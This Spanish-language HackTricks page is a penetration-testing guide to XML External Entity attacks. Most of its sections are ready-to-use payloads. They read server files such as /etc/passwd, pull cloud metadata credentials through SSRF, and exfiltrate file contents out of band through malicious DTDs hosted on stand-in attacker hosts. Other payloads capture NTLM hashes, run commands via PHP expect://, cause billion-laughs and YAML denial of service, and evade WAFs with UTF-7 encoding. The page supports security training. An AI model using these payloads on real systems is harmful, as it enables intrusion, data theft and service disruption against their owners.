40 KiB
XXE - XEE - XML External Entity
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.
Un ataque de Entidad Externa XML es un tipo de ataque contra una aplicación que analiza la entrada XML.
Conceptos básicos de XML
La mayor parte de esto se basa en esta increíble página de Portswigger: https://portswigger.net/web-security/xxe/xml-entities
Visión general del Lenguaje de Marcado Extensible
El Lenguaje de Marcado Extensible, comúnmente abreviado como XML, se define como un lenguaje de marcado utilizado para el almacenamiento y transporte de datos. Empleando una estructura reminiscente de un árbol, compuesto por etiquetas y datos similares a HTML, XML se distingue por no restringirse a etiquetas predefinidas. Esta flexibilidad permite la utilización de etiquetas nombradas descriptivamente de acuerdo con los datos que encapsulan. Históricamente, XML ganó prominencia como formato para el transporte de datos, notablemente representado por su contribución al acrónimo "AJAX" (donde "X" significa "XML"). Sin embargo, su popularidad ha disminuido, con JSON emergiendo como el formato preferido.
Representación de Elementos de Datos en XML a través de Entidades
En XML, las entidades sirven como mecanismos para representar elementos de datos dentro de un documento, ofreciendo una alternativa a la inserción directa de datos. La especificación XML incorpora varias entidades integradas. Por ejemplo, <
y >
sirven para representar los caracteres <
y >
, respectivamente. Dado su papel en delimitar las etiquetas XML, estos metacaracteres a menudo deben representarse utilizando entidades cuando aparecen dentro de los datos.
Definición de Elementos XML
Las declaraciones de tipo de elemento son críticas en XML, ya que establecen las pautas para la presencia, tipos y secuenciación de elementos dentro de un documento XML. Ejemplos ilustrativos incluyen:
<!ELEMENT stockCheck ANY>
indica que el elemento<stockCheck></stockCheck>
puede contener cualquier tipo de objeto.<!ELEMENT stockCheck EMPTY>
dicta que el elemento<stockCheck></stockCheck>
debe permanecer sin contenido.<!ELEMENT stockCheck (productId,storeId)>
especifica que el elemento<stockCheck>
solo puede contener<productId>
y<storeId>
como elementos secundarios.
Introducción a la Definición de Tipo de Documento
La Definición de Tipo de Documento (DTD) desempeña un papel fundamental en XML al proporcionar declaraciones que pueden dictar la estructura de un documento XML, los tipos de datos permitidos y más. El elemento DOCTYPE
, que es opcional y se coloca al principio de un documento XML, puede declarar una DTD. Las DTD pueden clasificarse como "internas" cuando están completamente integradas en un documento, "externas" cuando se cargan desde una fuente externa, o una combinación de ambas.
Utilización de Entidades Personalizadas en XML
XML facilita la definición de entidades personalizadas dentro de una DTD. Una declaración de ejemplo:
<!DOCTYPE foo [ <!ENTITY myentity "mi valor de entidad" > ]>
Tal declaración indica que la referencia de entidad &myentity;
dentro del documento se sustituirá por "mi valor de entidad".
Incorporación de Entidades Externas en XML
Las entidades externas en XML son un subtipo de entidades personalizadas, caracterizadas por tener sus definiciones externas a la DTD. Estas entidades utilizan la palabra clave SYSTEM
y requieren una URL que especifique la ubicación desde la cual se recuperará el valor de la entidad, lo que potencialmente permite ataques de entidad externa XML.
Explotación de Entidades de Parámetro XML para la Detección de XXE
En escenarios donde las entidades estándar son ineficaces para explotar vulnerabilidades de XXE debido a la validación o al endurecimiento del analizador XML, pueden emplearse entidades de parámetro XML. Distinguidas por la inclusión de un carácter de porcentaje precediendo al nombre de la entidad y referenciadas utilizando el mismo carácter, las entidades de parámetro XML se referencian exclusivamente dentro de la DTD. Pueden facilitar la detección ciega de XXE a través de métodos fuera de banda, ejemplificados por la iniciación de una búsqueda DNS y una solicitud HTTP a un dominio controlado por el atacante, confirmando así el éxito de la explotación.
Principales ataques
Prueba de Nueva Entidad
En este ataque voy a probar si una simple nueva declaración de ENTIDAD está funcionando
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
Leer archivo
Intentemos leer /etc/passwd
de diferentes maneras. Para Windows, podrías intentar leer: C:\windows\system32\drivers\etc\hosts
En este primer caso, ten en cuenta que en SYSTEM "**file:///**etc/passwd" también funcionará.
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
Este segundo caso debería ser útil para extraer un archivo si el servidor web está utilizando PHP (No es el caso de los laboratorios de Portswiggers)
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
En este tercer caso, notamos que estamos declarando el Elemento stockCheck
como ANY.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
Listado de directorios
En aplicaciones basadas en Java, podría ser posible listar el contenido de un directorio a través de XXE con una carga útil como (solo pidiendo el directorio en lugar del archivo):
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
SSRF
Un XXE podría ser utilizado para abusar de un SSRF dentro de una nube
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
SSRF ciego
Usando la técnica comentada anteriormente puedes hacer que el servidor acceda a un servidor que controlas para mostrar su vulnerabilidad. Pero, si eso no funciona, tal vez sea porque las entidades XML no están permitidas, en ese caso podrías intentar usar entidades de parámetros XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
"Ciego" SSRF - Exfiltrar datos fuera de la banda
En esta ocasión vamos a hacer que el servidor cargue un nuevo DTD con un payload malicioso que enviará el contenido de un archivo a través de una solicitud HTTP (para archivos de varias líneas podrías intentar exfiltrarlo a través de ftp://). Esta explicación fue tomada de los laboratorios de Portswigger aquí.
Un ejemplo de un DTD malicioso para exfiltrar el contenido del archivo /etc/hostname
es el siguiente:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
Este DTD lleva a cabo los siguientes pasos:
- Define una entidad de parámetro XML llamada
file
, que contiene el contenido del archivo/etc/passwd
. - Define una entidad de parámetro XML llamada
eval
, que contiene una declaración dinámica de otra entidad de parámetro XML llamadaexfiltrate
. La entidadexfiltrate
será evaluada haciendo una solicitud HTTP al servidor web del atacante que contiene el valor de la entidadfile
dentro de la cadena de consulta de la URL. - Utiliza la entidad
eval
, lo que provoca que se realice la declaración dinámica de la entidadexfiltrate
. - Utiliza la entidad
exfiltrate
, de modo que su valor se evalúa solicitando la URL especificada.
Luego, el atacante debe alojar el DTD malicioso en un sistema que controla, normalmente cargándolo en su propio servidor web. Por ejemplo, el atacante podría servir el DTD malicioso en la siguiente URL:
http://web-attacker.com/malicious.dtd
Finalmente, el atacante debe enviar la siguiente carga útil XXE a la aplicación vulnerable:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Este payload XXE declara una entidad de parámetro XML llamada xxe
y luego utiliza la entidad dentro del DTD. Esto hará que el analizador XML obtenga el DTD externo del servidor del atacante e interprete en línea. Los pasos definidos dentro del DTD malicioso se ejecutarán y el archivo /etc/passwd
se transmitirá al servidor del atacante.
Basado en Errores (DTD Externo)
En este caso, haremos que el servidor cargue un DTD malicioso que mostrará el contenido de un archivo dentro de un mensaje de error (esto solo es válido si puedes ver mensajes de error). Ejemplo aquí.
Puedes desencadenar un mensaje de error de análisis XML que contenga el contenido del archivo /etc/passwd
utilizando un DTD externo malicioso de la siguiente manera:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
Este DTD lleva a cabo los siguientes pasos:
- Define una entidad de parámetro XML llamada
file
, que contiene el contenido del archivo/etc/passwd
. - Define una entidad de parámetro XML llamada
eval
, que contiene una declaración dinámica de otra entidad de parámetro XML llamadaerror
. La entidaderror
será evaluada cargando un archivo inexistente cuyo nombre contiene el valor de la entidadfile
. - Utiliza la entidad
eval
, lo que provoca que se realice la declaración dinámica de la entidaderror
. - Utiliza la entidad
error
, de modo que su valor se evalúa intentando cargar el archivo inexistente, lo que resulta en un mensaje de error que contiene el nombre del archivo inexistente, que es el contenido del archivo/etc/passwd
.
Invoca el error de DTD externo con:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Y deberías ver el contenido del archivo dentro del mensaje de error de la respuesta del servidor web.
Por favor, ten en cuenta que la DTD externa nos permite incluir una entidad dentro de la segunda (eval
), pero está prohibido en la DTD interna. Por lo tanto, no puedes forzar un error sin usar una DTD externa (generalmente).
Basado en Errores (DTD del sistema)
Entonces, ¿qué pasa con las vulnerabilidades ciegas de XXE cuando las interacciones fuera de banda están bloqueadas (las conexiones externas no están disponibles)?.
Una laguna en la especificación del lenguaje XML puede exponer datos sensibles a través de mensajes de error cuando la DTD de un documento combina declaraciones internas y externas. Este problema permite la redefinición interna de entidades declaradas externamente, facilitando la ejecución de ataques XXE basados en errores. Tales ataques explotan la redefinición de una entidad de parámetro XML, originalmente declarada en una DTD externa, desde dentro de una DTD interna. Cuando las conexiones fuera de banda están bloqueadas por el servidor, los atacantes deben depender de archivos DTD locales para llevar a cabo el ataque, con el objetivo de inducir un error de análisis para revelar información sensible.
Considera un escenario donde el sistema de archivos del servidor contiene un archivo DTD en /usr/local/app/schema.dtd
, definiendo una entidad llamada custom_entity
. Un atacante puede inducir un error de análisis XML revelando el contenido del archivo /etc/passwd
al enviar una DTD híbrida de la siguiente manera:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>
Los pasos delineados son ejecutados por esta DTD:
- La definición de una entidad de parámetro XML llamada
local_dtd
incluye el archivo DTD externo ubicado en el sistema de archivos del servidor. - Ocurre una redefinición para la entidad de parámetro XML
custom_entity
, originalmente definida en el DTD externo, para encapsular un exploit XXE basado en errores. Esta redefinición está diseñada para provocar un error de análisis, exponiendo el contenido del archivo/etc/passwd
. - Al emplear la entidad
local_dtd
, se activa el DTD externo, abarcando la entidadcustom_entity
recién definida. Esta secuencia de acciones precipita la emisión del mensaje de error apuntado por el exploit.
Ejemplo del mundo real: Los sistemas que utilizan el entorno de escritorio GNOME a menudo tienen un DTD en /usr/share/yelp/dtd/docbookx.dtd
que contiene una entidad llamada ISOamso
.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Dado que esta técnica utiliza un DTD interno, primero necesitas encontrar uno válido. Puedes hacer esto instalando el mismo SO / Software que está utilizando el servidor y buscando algunos DTD predeterminados, o obteniendo una lista de DTD predeterminados dentro de los sistemas y verificando si alguno de ellos existe:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
Para obtener más información, consulta https://portswigger.net/web-security/xxe/blind
Encontrar DTDs dentro del sistema
En el siguiente repositorio de GitHub increíble, puedes encontrar rutas de DTDs que pueden estar presentes en el sistema:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
Además, si tienes la imagen Docker del sistema víctima, puedes utilizar la herramienta del mismo repositorio para escanear la imagen y encontrar la ruta de los DTDs presentes dentro del sistema. Lee el Readme del repositorio de GitHub para aprender cómo.
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
XXE a través de Analizadores de Office Open XML
Para obtener una explicación más detallada de este ataque, consulte la segunda sección de esta increíble publicación de Detectify.
La capacidad de cargar documentos de Microsoft Office es ofrecida por muchas aplicaciones web, las cuales luego proceden a extraer ciertos detalles de estos documentos. Por ejemplo, una aplicación web puede permitir a los usuarios importar datos mediante la carga de una hoja de cálculo en formato XLSX. Para que el analizador extraiga los datos de la hoja de cálculo, inevitablemente necesitará analizar al menos un archivo XML.
Para probar esta vulnerabilidad, es necesario crear un archivo de Microsoft Office que contenga un payload XXE. El primer paso es crear un directorio vacío en el cual se pueda descomprimir el documento.
Una vez que el documento ha sido descomprimido, el archivo XML ubicado en ./unzipped/word/document.xml
debe ser abierto y editado en un editor de texto preferido (como vim). El XML debe ser modificado para incluir el payload XXE deseado, a menudo comenzando con una solicitud HTTP.
Las líneas XML modificadas deben ser insertadas entre los dos objetos XML raíz. Es importante reemplazar la URL con una URL monitoreable para las solicitudes.
Finalmente, el archivo puede ser comprimido para crear el archivo malicioso poc.docx. Desde el directorio "unzipped" previamente creado, se debe ejecutar el siguiente comando:
Ahora, el archivo creado puede ser cargado en la aplicación web potencialmente vulnerable, y se puede esperar que aparezca una solicitud en los registros de Burp Collaborator.
Protocolo Jar
El protocolo jar
solo está disponible en aplicaciones Java. Permite acceder a archivos dentro de un archivo PKZIP (.zip
, .jar
, ...) y funciona para archivos locales y remotos:
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
{% hint style="danger" %} Para poder acceder a archivos dentro de archivos PKZIP es súper útil para abusar de XXE a través de archivos DTD del sistema. Consulta esta sección para aprender cómo abusar de archivos DTD del sistema. {% endhint %}
Detrás de escena
- Realiza una solicitud HTTP para cargar el archivo zip.
https://download.host.com/myarchive.zip
- Guarda la respuesta HTTP en una ubicación temporal.
/tmp/...
- Extrae el archivo.
- Lee el
file.zip
- Elimina los archivos temporales.
Ten en cuenta que es posible detener el flujo en el segundo paso. El truco es nunca cerrar la conexión al servir el archivo. Estas herramientas pueden ser útiles: una en python slow_http_server.py
y otra en java slowserver.jar
.
Una vez que el servidor haya descargado tu archivo, necesitas encontrar su ubicación navegando por el directorio temporal. Al ser aleatoria, la ruta del archivo no se puede predecir de antemano.
{% hint style="danger" %} Escribir archivos en un directorio temporal puede ayudar a escalar otra vulnerabilidad que involucre una travesía de directorio (como inclusión de archivos locales, inyección de plantillas, XSLT RCE, deserialización, etc). {% endhint %}
XSS
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
DoS
Ataque de Mil Millones de Risas
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
Ataque Yaml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
Ataque de Explosión Cuadrática
Obteniendo NTML
En hosts de Windows es posible obtener el hash NTML del usuario del servidor web configurando un controlador responder.py:
Responder.py -I eth0 -v
y enviando la siguiente solicitud
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
Superficies XXE Ocultas
XInclude
En algunos escenarios, los datos enviados por el cliente se incorporan en un documento XML mediante procesos en el lado del servidor antes de su análisis. Esto suele ocurrir cuando los datos del cliente se integran en una solicitud SOAP del backend, que posteriormente es manejada por un servicio SOAP en el backend.
Realizar un ataque XXE tradicional resulta desafiante en estos casos debido al control limitado sobre la totalidad del documento XML, específicamente la incapacidad de modificar o introducir un elemento DOCTYPE
. Sin embargo, aprovechar XInclude
, una característica del estándar XML que permite ensamblar un documento XML a partir de subdocumentos más pequeños, presenta una solución alternativa. Este enfoque permite un ataque XInclude
dentro de cualquier elemento de datos de un documento XML, haciéndolo factible en casos donde el control se restringe a una pieza individual de datos incrustada en un documento XML generado por el servidor.
Para iniciar un ataque XInclude
, se requiere la inclusión del espacio de nombres XInclude
, junto con la especificación de la ruta de archivo destinada para la inclusión. El siguiente ejemplo demuestra cómo podría estructurarse dicho ataque:
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
Consulta https://portswigger.net/web-security/xxe para más información!
SVG - Carga de Archivos
Los archivos subidos por usuarios a ciertas aplicaciones, que luego son procesados en el servidor, pueden explotar vulnerabilidades en cómo se manejan los formatos de archivo XML o que contienen XML. Formatos comunes de archivos como documentos de oficina (DOCX) e imágenes (SVG) están basados en XML.
Cuando los usuarios suben imágenes, estas imágenes son procesadas o validadas en el servidor. Incluso para aplicaciones que esperan formatos como PNG o JPEG, la biblioteca de procesamiento de imágenes del servidor también podría admitir imágenes SVG. SVG, al ser un formato basado en XML, puede ser explotado por atacantes para enviar imágenes SVG maliciosas, exponiendo así al servidor a vulnerabilidades de XXE (Entidad Externa XML).
A continuación se muestra un ejemplo de tal exploit, donde una imagen SVG maliciosa intenta leer archivos del sistema:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
Otro método implica intentar ejecutar comandos a través del envoltorio "expect" de PHP:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
En ambos casos, se utiliza el formato SVG para lanzar ataques que explotan las capacidades de procesamiento XML del software del servidor, resaltando la necesidad de una sólida validación de entrada y medidas de seguridad.
¡Consulta https://portswigger.net/web-security/xxe para obtener más información!
Ten en cuenta que la primera línea del archivo leído o del resultado de la ejecución aparecerá DENTRO de la imagen creada. Por lo tanto, debes poder acceder a la imagen que SVG ha creado.
PDF - Subida de archivos
Lee el siguiente post para aprender cómo explotar un XXE subiendo un archivo PDF:
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}
Content-Type: De x-www-urlencoded a XML
Si una solicitud POST acepta los datos en formato XML, podrías intentar explotar un XXE en esa solicitud. Por ejemplo, si una solicitud normal contiene lo siguiente:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
Entonces podrías enviar la siguiente solicitud, con el mismo resultado:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
Content-Type: De JSON a XEE
Para cambiar la solicitud, podrías usar una Extensión de Burp llamada "Content Type Converter". Aquí puedes encontrar este ejemplo:
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
Otro ejemplo se puede encontrar aquí.
Bypass de WAF y Protecciones
Base64
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
Esto solo funciona si el servidor XML acepta el protocolo data://
.
UTF-7
Puedes usar la ["Receta de codificación" de CyberChef aquí](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4) para transformar a UTF-7.
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
Bypass de Protocolo de Archivo
Si la web está utilizando PHP, en lugar de usar file:/
puedes usar envolturas de PHP php://filter/convert.base64-encode/resource=
para acceder a archivos internos.
Si la web está utilizando Java, puedes verificar el protocolo jar.
Entidades HTML
Truco de https://github.com/Ambrotd/XXE-Notes
Puedes crear una entidad dentro de una entidad codificándola con entidades HTML y luego llamarla para cargar un dtd.
Ten en cuenta que las Entidades HTML utilizadas deben ser numéricas (como [en este ejemplo](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>
Ejemplo DTD:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
Envolturas PHP
Base64
Extraer index.php
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
Extraer recurso externo
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
Ejecución de código remoto
Si el módulo "expect" de PHP está cargado
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
SOAP - XEE
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
XLIFF - XXE
Esta sección fue tomada de https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe
Según la Wikipedia:
XLIFF (XML Localization Interchange File Format) es un formato de bitexto basado en XML creado para estandarizar la forma en que se pasan datos localizables entre y entre herramientas durante un proceso de localización y un formato común para el intercambio de herramientas CAT.
Solicitud ciega
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
El servidor responde con un error:
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
Pero obtuvimos una respuesta en Burp Collaborator.
Exfiltración de datos a través de Out of Band
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
Basándose en el User Agent mostrado devuelto por Burp Collaborator, parece que está utilizando Java 1.8. Uno de los problemas al explotar XXE en esta versión de Java es que no podemos obtener los archivos que contienen un Salto de línea
como /etc/passwd
utilizando la técnica Out of Band.
Exfiltrando Datos a través de Errores Basados en
Archivo DTD:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
Respuesta del servidor:
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
Excelente! El archivo non-exist
se refleja en los mensajes de error. A continuación se agrega el Contenido del Archivo.
Archivo DTD:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
Y el contenido del archivo se imprimió con éxito en la salida del error enviado a través de HTTP.
RSS - XEE
XML válido con formato RSS para explotar una vulnerabilidad de XXE.
Ping back
Solicitud HTTP simple al servidor de los atacantes
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Leer archivo
El atacante puede utilizar una entidad externa XML para leer archivos del sistema de archivos del servidor. Por ejemplo, el siguiente XML puede ser utilizado para leer el archivo /etc/passwd
:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Leer código fuente
Usando el filtro base64 de PHP
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
